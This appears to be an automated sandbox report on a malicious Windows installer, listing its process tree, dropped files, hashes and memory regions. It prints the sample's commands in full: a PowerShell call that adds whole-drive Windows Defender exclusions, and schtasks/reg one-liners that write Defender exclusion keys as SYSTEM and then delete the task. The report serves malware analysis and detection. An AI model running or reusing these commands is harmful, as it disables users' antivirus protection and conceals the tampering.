Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 04:31

General

  • Target
    install.2.0.09.exe
  • Size 34.6MB
  • Sample261023-e5dcmsby8k
  • SHA256 4ecd81dcb3bbfd82bdf0e0826fa74ca1186494eda5771cd65a97a1063e6cf99d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.09.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.09.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4836
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2676
    • C:\Users\Public\ZE5u2S\Fx1mnW.exe
      "C:\Users\Public\ZE5u2S\Fx1mnW.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:2700
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZE5u2S\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5848
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZE5u2S\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2352
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:964
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5368
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:3496
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:696
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:4264
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:4376
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:4156
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:5244
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:1432
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:5908
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:4708
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2484
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:2508
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:3196
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:940
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:2400
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:5996
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:3640
                          • C:\Program Files (x86)\cuiSzP\cuiSzP.exe
                            "C:\Program Files (x86)\cuiSzP\cuiSzP.exe"
                            2⤵
                              PID:3212
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZE5u2S" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4212
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZE5u2S" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2816
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:5108
                            • C:\Users\Public\ZE5u2S\Fx1mnW.exe
                              "C:\Users\Public\ZE5u2S\Fx1mnW.exe"
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:2552
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:1540
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:3100
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:3888
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:2320
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:4324
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:5692

                            Network

                                  MITRE ATT&CK Enterprise v16

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                                  Downloads

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\cuiSzP\XPSPLOG.dll
                                  • Size 4.6MB
                                  • SHA256 01f0ac19e80f0b6f74b2383d5e2655fbf7e437452f81379b187a4be46fb37e07
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  cuiSzP.exe

                                  • Path C:\Program Files (x86)\cuiSzP\cuiSzP.exe
                                  • Size 145KB
                                  • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  image.png

                                  • Path C:\Program Files (x86)\cuiSzP\image.png
                                  • Size 4.8MB
                                  • SHA256 91ed7e331f9db4f6fc18e0a2a1b5c69d4b26ac32f90809d023ea960e98cfd82e
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  thumbs.db

                                  • Path C:\Program Files (x86)\cuiSzP\thumbs.db
                                  • Size 358KB
                                  • SHA256 a6cb083d17ea8c93811add6462df2a6c04ba3a172badc48139128498455cffde
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                  • Size 1KB
                                  • SHA256 ec4c41340bcbfbfe074818790e7b0c2196e1c2ec2c72e7356001ddd02367cfec
                                  • MD5 SHA1 SHA512 TLSH

                                  B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                  • Size 1KB
                                  • SHA256 c71f96581f2c4acc9d067c4961c5459561f20e0816dc5bc5ad96309e16538e91
                                  • MD5 SHA1 SHA512 TLSH

                                  0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                  • Size 512B
                                  • SHA256 6f2b2f2bbf85716e393ed9fab7b875cd5e185fb0570505dad495a51629646846
                                  • MD5 SHA1 SHA512 TLSH

                                  B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                  • Size 506B
                                  • SHA256 d5262b0f6b50a5d5eadc56f5f38c97f168d6a73252f9e83769647eda8b0a77df
                                  • MD5 SHA1 SHA512 TLSH

                                  __PSScriptPolicyTest_v13sor5v.gxp.psm1

                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v13sor5v.gxp.psm1
                                  • Size 60B
                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                  • MD5 SHA1 SHA512 TLSH

                                  Fx1mnW.exe

                                  • Path C:\Users\Public\ZE5u2S\Fx1mnW.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\ZE5u2S\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 3ccefc53e6fae6e96c3996aac80f2be80699bc5c90ee49d7b6dbac4bfdc6928a
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\ZE5u2S\adoresd.dat
                                  • Size 4.8MB
                                  • SHA256 9eb14a44ac3789d9df086cfe27951226ad9bb49077c23d42626bdc950aede6ad
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\ZE5u2S\msadox.tb
                                  • Size 8KB
                                  • SHA256 92dd298d8812d3d99daf5709e5ad051d5868013bf04c9e70d90495db40b8f3f2
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/2552-587-0x00007FFA78E40000-0x00007FFA78E42000-memory.dmp

                                  memory/2552-588-0x000001F6C7220000-0x000001F6C7AF7000-memory.dmp

                                  memory/2552-583-0x000001F6C7220000-0x000001F6C7AF7000-memory.dmp

                                  memory/2552-580-0x00007FFA56210000-0x00007FFA5672E000-memory.dmp

                                  memory/2552-597-0x000001F6C7220000-0x000001F6C7AF7000-memory.dmp

                                  memory/2552-596-0x000001F6C7220000-0x000001F6C7AF7000-memory.dmp

                                  memory/2552-598-0x000001F6C7220000-0x000001F6C7AF7000-memory.dmp

                                  memory/2552-599-0x00007FFA78E30000-0x00007FFA78E32000-memory.dmp

                                  memory/2552-595-0x000001F6C7220000-0x000001F6C7AF7000-memory.dmp

                                  memory/2700-609-0x000002C4681C0000-0x000002C4681CA000-memory.dmp

                                  memory/2700-602-0x000002C467D70000-0x000002C467D92000-memory.dmp

                                  memory/2700-605-0x000002C467DD0000-0x000002C467DEE000-memory.dmp

                                  memory/2700-606-0x000002C467DF0000-0x000002C467EA2000-memory.dmp

                                  memory/3212-677-0x0000000002F20000-0x0000000002F21000-memory.dmp

                                  memory/3212-679-0x0000000074950000-0x000000007509A000-memory.dmp

                                  memory/3212-682-0x0000000003B80000-0x000000000435D000-memory.dmp

                                  memory/3212-684-0x0000000002F40000-0x0000000002F41000-memory.dmp

                                  memory/3212-685-0x0000000003B80000-0x000000000435D000-memory.dmp

                                  memory/3212-689-0x0000000003B80000-0x000000000435D000-memory.dmp

                                  memory/3212-696-0x0000000004520000-0x0000000004534000-memory.dmp

                                  memory/4688-541-0x00007FFA78E40000-0x00007FFA78E42000-memory.dmp

                                  memory/4688-547-0x00000281C1770000-0x00000281C2047000-memory.dmp

                                  memory/4688-570-0x00000281C1770000-0x00000281C2047000-memory.dmp

                                  memory/4688-567-0x00000281C1770000-0x00000281C2047000-memory.dmp

                                  memory/4688-561-0x00000281C0A80000-0x00000281C0ACE000-memory.dmp

                                  memory/4688-562-0x00000281C0BE0000-0x00000281C0C6A000-memory.dmp

                                  memory/4688-559-0x00000281C1770000-0x00000281C2047000-memory.dmp

                                  memory/4688-565-0x00000281C0BE0000-0x00000281C0C6A000-memory.dmp

                                  memory/4688-564-0x00000281C0BE0000-0x00000281C0C6A000-memory.dmp

                                  memory/4688-563-0x00000281C0BE0000-0x00000281C0C6A000-memory.dmp

                                  memory/4688-553-0x00000281C1770000-0x00000281C2047000-memory.dmp

                                  memory/4688-549-0x00000281C1770000-0x00000281C2047000-memory.dmp

                                  memory/4688-548-0x00000281C1770000-0x00000281C2047000-memory.dmp

                                  memory/4688-569-0x00000281C1770000-0x00000281C2047000-memory.dmp

                                  memory/4688-546-0x00000281C1770000-0x00000281C2047000-memory.dmp

                                  memory/4688-532-0x00007FFA78E30000-0x00007FFA78E32000-memory.dmp

                                  memory/4688-542-0x00000281C1770000-0x00000281C2047000-memory.dmp

                                  memory/4688-539-0x00000281C1770000-0x00000281C2047000-memory.dmp

                                  memory/4688-533-0x00007FFA56210000-0x00007FFA5672E000-memory.dmp

                                  memory/4836-0-0x0000000000560000-0x000000000056E000-memory.dmp

                                  memory/4836-527-0x00007FFA70470000-0x00007FFA70482000-memory.dmp

                                  memory/4836-526-0x0000000000560000-0x000000000056E000-memory.dmp

                                  memory/4836-504-0x00007FFA70470000-0x00007FFA70482000-memory.dmp

                                  memory/4836-2-0x00000000005B0000-0x00000000005BC000-memory.dmp

                                  memory/4836-1-0x0000000000560000-0x000000000056E000-memory.dmp